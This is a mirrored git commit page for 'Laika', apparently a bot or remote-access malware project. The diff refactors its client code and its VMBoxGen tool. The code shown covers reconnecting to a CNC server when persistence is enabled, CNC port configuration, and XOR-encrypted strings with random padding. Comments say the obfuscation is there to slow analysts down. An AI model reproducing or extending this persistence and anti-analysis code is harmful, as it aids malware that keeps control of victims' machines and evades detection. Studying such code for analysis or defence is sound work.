mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 12:40:04 +00:00
VMBoxGen: minor refactoring
This commit is contained in:
parent
5076e4c7b9
commit
7c4a5ddc8c
@ -9,6 +9,10 @@
|
|||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
|
/* if LAIKA_PERSISTENCE is defined, this will specify the timeout for
|
||||||
|
retrying to connect to the CNC server */
|
||||||
|
#define LAIKA_RETRY_CONNECT 5
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
# ifndef LAIKA_DEBUG_BUILD
|
# ifndef LAIKA_DEBUG_BUILD
|
||||||
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
|
||||||
@ -54,9 +58,9 @@ int main()
|
|||||||
laikaB_freeBot(bot);
|
laikaB_freeBot(bot);
|
||||||
#ifdef LAIKA_PERSISTENCE
|
#ifdef LAIKA_PERSISTENCE
|
||||||
# ifdef _WIN32
|
# ifdef _WIN32
|
||||||
Sleep(5000);
|
Sleep(LAIKA_RETRY_CONNECT*1000);
|
||||||
# else
|
# else
|
||||||
sleep(5);
|
sleep(LAIKA_RETRY_CONNECT);
|
||||||
# endif
|
# endif
|
||||||
} while (1);
|
} while (1);
|
||||||
|
|
||||||
|
@ -63,6 +63,8 @@ struct sLaikaB_box
|
|||||||
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
|
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
/* clang-format off */
|
||||||
|
|
||||||
/* ======================================[[ Laika Boxes ]]====================================== */
|
/* ======================================[[ Laika Boxes ]]====================================== */
|
||||||
|
|
||||||
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
|
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
|
||||||
@ -116,6 +118,8 @@ LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
|
|||||||
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
|
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* clang-format on */
|
||||||
|
|
||||||
/* include KEY_* & DATA_* macros for each obfuscated string */
|
/* include KEY_* & DATA_* macros for each obfuscated string */
|
||||||
#include "lboxconfig.h"
|
#include "lboxconfig.h"
|
||||||
|
|
||||||
|
@ -13,9 +13,9 @@
|
|||||||
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
|
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
|
||||||
|
|
||||||
/* settings */
|
/* settings */
|
||||||
|
#cmakedefine LAIKA_DEBUG_BUILD
|
||||||
#cmakedefine LAIKA_PERSISTENCE
|
#cmakedefine LAIKA_PERSISTENCE
|
||||||
#cmakedefine LAIKA_OBFUSCATE
|
#cmakedefine LAIKA_OBFUSCATE
|
||||||
#cmakedefine LAIKA_DEBUG_BUILD
|
|
||||||
|
|
||||||
/* raw obfuscated strings */
|
/* raw obfuscated strings */
|
||||||
|
|
||||||
|
@ -13,11 +13,12 @@
|
|||||||
} while (0);
|
} while (0);
|
||||||
#define RANDBYTE (rand() % UINT8_MAX)
|
#define RANDBYTE (rand() % UINT8_MAX)
|
||||||
|
|
||||||
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c "
|
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n"
|
||||||
"*/\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n";
|
"#ifndef LAIKA_VMBOX_CONFIG_H\n"
|
||||||
|
"#define LAIKA_VMBOX_CONFIG_H\n\n";
|
||||||
static const char *POSTAMBLE = "\n#endif\n";
|
static const char *POSTAMBLE = "\n#endif\n";
|
||||||
|
|
||||||
void writeArray(FILE *out, uint8_t *data, int sz)
|
static void writeArray(FILE *out, uint8_t *data, int sz)
|
||||||
{
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
@ -28,18 +29,18 @@ void writeArray(FILE *out, uint8_t *data, int sz)
|
|||||||
fprintf(out, "0x%02x};\n", data[sz - 1]);
|
fprintf(out, "0x%02x};\n", data[sz - 1]);
|
||||||
}
|
}
|
||||||
|
|
||||||
void writeDefineArray(FILE *out, char *ident, uint8_t *data)
|
static void writeDefineArray(FILE *out, char *ident, uint8_t *data)
|
||||||
{
|
{
|
||||||
fprintf(out, "#define %s ", ident);
|
fprintf(out, "#define %s ", ident);
|
||||||
writeArray(out, data, LAIKA_VM_CODESIZE);
|
writeArray(out, data, LAIKA_VM_CODESIZE);
|
||||||
}
|
}
|
||||||
|
|
||||||
void writeDefineVal(FILE *out, char *ident, int data)
|
static void writeDefineVal(FILE *out, char *ident, int data)
|
||||||
{
|
{
|
||||||
fprintf(out, "#define %s 0x%02x\n", ident, data);
|
fprintf(out, "#define %s 0x%02x\n", ident, data);
|
||||||
}
|
}
|
||||||
|
|
||||||
void addPadding(uint8_t *data, int start)
|
static void addPadding(uint8_t *data, int start)
|
||||||
{
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
@ -49,15 +50,15 @@ void addPadding(uint8_t *data, int start)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
|
static void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
|
||||||
{
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
for (i = 0; i < sz; i++)
|
for (i = 0; i < sz; i++)
|
||||||
buff[i] = data[i] ^ key;
|
buff[i] = data[i] ^ key;
|
||||||
|
|
||||||
buff[i++] = key; /* add the null terminator */
|
buff[i++] = key; /* add the null terminator (key ^ key = 0x00) */
|
||||||
addPadding(buff, i);
|
addPadding(buff, i); /* fill in the remaining bytes with semi-rand padding */
|
||||||
}
|
}
|
||||||
|
|
||||||
#define MAKESKIDDATA(macro) \
|
#define MAKESKIDDATA(macro) \
|
||||||
@ -69,14 +70,17 @@ void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
|
|||||||
int main(int argv, char **argc)
|
int main(int argv, char **argc)
|
||||||
{
|
{
|
||||||
uint8_t tmpBuff[LAIKA_VM_CODESIZE];
|
uint8_t tmpBuff[LAIKA_VM_CODESIZE];
|
||||||
int key;
|
|
||||||
FILE *out;
|
FILE *out;
|
||||||
|
char *fileName;
|
||||||
|
int key;
|
||||||
|
|
||||||
if (argv < 2)
|
if (argv < 2)
|
||||||
ERR("USAGE: %s [OUTFILE]\n", argv > 0 ? argc[0] : "BoxGen");
|
ERR("USAGE: %s [OUTFILE]\n", argv > 0 ? argc[0] : "BoxGen");
|
||||||
|
|
||||||
if ((out = fopen(argc[1], "w+")) == NULL)
|
/* open output file */
|
||||||
ERR("Failed to open %s!\n", argc[1]);
|
fileName = argc[1];
|
||||||
|
if ((out = fopen(fileName, "w+")) == NULL)
|
||||||
|
ERR("Failed to open %s!\n", fileName);
|
||||||
|
|
||||||
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to
|
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to
|
||||||
slow them down */
|
slow them down */
|
||||||
@ -100,8 +104,8 @@ int main(int argv, char **argc)
|
|||||||
fprintf(out, POSTAMBLE);
|
fprintf(out, POSTAMBLE);
|
||||||
fclose(out);
|
fclose(out);
|
||||||
|
|
||||||
printf("Wrote %s\n", argc[1]);
|
printf("Laika VMBox data header dumped to '%s'\n", fileName);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
#undef MAKEDATA
|
#undef MAKESKIDDATA
|
||||||
|
Loading…
Reference in New Issue
Block a user